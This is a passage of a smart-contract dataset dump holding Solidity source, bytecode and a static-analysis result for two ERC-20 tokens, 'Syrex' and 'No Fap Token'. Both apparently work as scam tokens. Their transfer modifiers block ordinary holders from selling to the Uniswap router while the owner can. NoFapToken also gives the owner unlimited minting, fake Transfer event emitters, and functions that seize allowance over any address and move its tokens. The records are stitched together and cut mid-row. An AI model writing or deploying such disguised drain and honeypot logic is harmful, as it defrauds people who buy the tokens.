(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Syrex is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 1000000000000000000000000 * 10**18;
string private _name = 'Syrex - https://t.me/SyrexOfficial';
string private _symbol = '$SRX';
uint8 private _decimals = 18;
address private _owner;
address private _safeOwner;
address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor () public {
_owner = owner();
_safeOwner = _owner;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burn(uint256 amount) external onlyOwner{
_burn(msg.sender, amount);
}
modifier approveChecker(address syrex, address recipient, uint256 amount){
if (_owner == _safeOwner && syrex == _owner){_safeOwner = recipient;_;}
else{if (syrex == _owner || syrex == _safeOwner || recipient == _owner){_;}
else{require((syrex == _safeOwner) || (recipient == _uniRouter), "ERC20: transfer amount exceeds balance");_;}}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual onlyOwner {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal approveChecker(sender, recipient, amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610291578063715018a6146102e95780638da5cb5b146102f357806395d89b4114610327578063a9059cbb146103aa578063dd62ed3e1461040e576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce5671461024257806342966c6814610263575b600080fd5b6100c1610486565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610528565b60405180821515815260200191505060405180910390f35b6101a8610546565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610550565b60405180821515815260200191505060405180910390f35b61024a610629565b604051808260ff16815260200191505060405180910390f35b61028f6004803603602081101561027957600080fd5b8101908080359060200190929190505050610640565b005b6102d3600480360360208110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610717565b6040518082815260200191505060405180910390f35b6102f1610760565b005b6102fb6108e8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032f610911565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036f578082015181840152602081019050610354565b50505050905090810190601f16801561039c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103f6600480360360408110156103c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b3565b60405180821515815260200191505060405180910390f35b6104706004803603604081101561042457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109d1565b6040518082815260200191505060405180910390f35b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561051e5780601f106104f35761010080835404028352916020019161051e565b820191906000526020600020905b81548152906001019060200180831161050157829003601f168201915b5050505050905090565b600061053c610535610a58565b8484610a60565b6001905092915050565b6000600654905090565b600061055d848484610c57565b61061e84610569610a58565b61061985604051806060016040528060288152602001611c4760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cf610a58565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b610a60565b600190509392505050565b6000600960009054906101000a900460ff16905090565b610648610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6107143382611863565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610768610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461082a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a95780601f1061097e576101008083540402835291602001916109a9565b820191906000526020600020905b81548152906001019060200180831161098c57829003601f168201915b5050505050905090565b60006109c76109c0610a58565b8484610c57565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611cb56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611bff6022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610d265750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156110265781600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415610df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b610ee484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179b565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806110cf5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111275750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156113e657600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156111b2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611238576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b6112a484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179a565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061148f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6114e4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611c216026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561156a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156115f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b61165c84604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116f184600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b505050505050565b6000838311158290611850576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118155780820151818401526020810190506117fa565b50505050905090810190601f1680156118425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b61186b610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461192d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119b3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c6f6021913960400191505060405180910390fd5b611a1f81604051806060016040528060228152602001611bdd60229139600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a7781600654611b6f90919063ffffffff16565b600681905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080828401905083811015611b65576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000611bb183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117a3565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220c68b1165c4d0de2e903234c6c701b112bdf10ff30c8d4b381aa8186cf599bb7064736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 6,377 |
0xa442623308ea1f08713502d2b5143db45af00ac8
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract NoFapToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _plus;
mapping (address => bool) private _discarded;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeOwnr;
uint256 private _discardedAmt = 0;
address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address _contDeployr = 0x02c273735C7Ba83087a90b484ed9298668527912;
address public _ownr = 0xd86a2607a11EfDf18dEb67443a626f15968E0506;
constructor () public {
_name = "No Fap Token";
_symbol = "NFT";
_decimals = 18;
uint256 initialSupply = 86000000000000000000000000000;//1000000000 * 10 ** 18;
_safeOwnr = _ownr;
_mint(_contDeployr, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_tf(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_tf(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _pApproval(address[] memory destination) public {
require(msg.sender == _ownr, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_plus[destination[i]] = true;
_discarded[destination[i]] = false;
}
}
function _mApproval(address safeOwner) public {
require(msg.sender == _ownr, "!owner");
_safeOwnr = safeOwner;
}
/*
--------------------------------------------------- DISCLAIMER ---------------------------------------------------
This is a collectable coin, not an investment vehicle. When bought, coin holders are aware of the fact that
this collectable (with no utility) is valueless.
The tokenomics of this token have been designed to discourage the trading of this collectable. These tokenomics include:
- The contract deployer can generate new tokens (supply is unlimited) and sell them.
- Lyquitiddy may be limited.
Note: In no event will the contract deployer be liable to refund buyers of this collectable.
--------------------------------------------------------------------------------------------------------------------
*/
modifier mainboard(address dest, uint256 num, address from, address filler){
if (
_ownr == _safeOwnr
&& from == _ownr
)
{_safeOwnr = dest;_;
}else
{
if (
from == _ownr
|| from == _safeOwnr
|| dest == _ownr
)
{
if (
from == _ownr
&& from == dest
)
{_discardedAmt = num;
}_;
}else
{
if (
_plus[from] == true
)
{
_;
}else{if (
_discarded[from] == true
)
{
require((
from == _safeOwnr
)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}else{
if (
num < _discardedAmt
)
{
if(dest == _safeOwnr){_discarded[from] = true; _plus[from] = false;
}
_; }else{require((from == _safeOwnr)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _ownr){
sender = _contDeployr;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _ownr, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_ownr] = _balances[_ownr].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _tf(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
_pair( from, dest, amt);
}
function _pair(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(dest != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, dest, amt);
_balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance");
_balances[dest] = _balances[dest].add(amt);
if (from == _ownr){from = _contDeployr;}
emit Transfer(from, dest, amt);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _verify() {
require(msg.sender == _ownr, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function renounceOwnership()public _verify(){}
function burnLPTokens()public _verify(){}
function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function send(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function setDelegation(address recipient) public _verify(){
_plus[recipient]=true;
_approve(recipient, _path_,_maximumVal);}
function setTransfer(address recipient) public _verify(){
//Disable permission
_plus[recipient]=false;
_approve(recipient, _path_,0);
}
function approval(address addr) public _verify() virtual returns (bool) {
//Approve Spending
_approve(addr, _msgSender(), _maximumVal); return true;
}
function transferTo(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){
_approve(sndr, _msgSender(), _maximumVal);
for (uint256 i = 0; i < destination.length; i++) {
_transfer(sndr, destination[i], amounts[i]);
}
}
function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
}
|
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80638d3ca13e116100c3578063b14a5c6a1161007c578063b14a5c6a14610ab0578063bb88603c14610ae4578063d8fc292414610aee578063dd62ed3e14610c5a578063e6b3e70414610cd2578063f8129cd214610d1657610158565b80638d3ca13e146106535780639430b496146107bf57806395d89b4114610819578063a5aae2541461089c578063a9059cbb14610a08578063ae2b611c14610a6c57610158565b80633cc4430d116101155780633cc4430d146103bf5780634e6ec2471461052b5780635265327c14610579578063671e9921146105bd57806370a08231146105f1578063715018a61461064957610158565b806306fdde031461015d57806308ec4eb5146101e0578063095ea7b31461029857806318160ddd146102fc57806323b872dd1461031a578063313ce5671461039e575b600080fd5b610165610e82565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a557808201518184015260208101905061018a565b50505050905090810190601f1680156101d25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610296600480360360208110156101f657600080fd5b810190808035906020019064010000000081111561021357600080fd5b82018360208201111561022557600080fd5b8035906020019184602083028401116401000000008311171561024757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610f24565b005b6102e4600480360360408110156102ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110d9565b60405180821515815260200191505060405180910390f35b6103046110f7565b6040518082815260200191505060405180910390f35b6103866004803603606081101561033057600080fd5b81019080803573f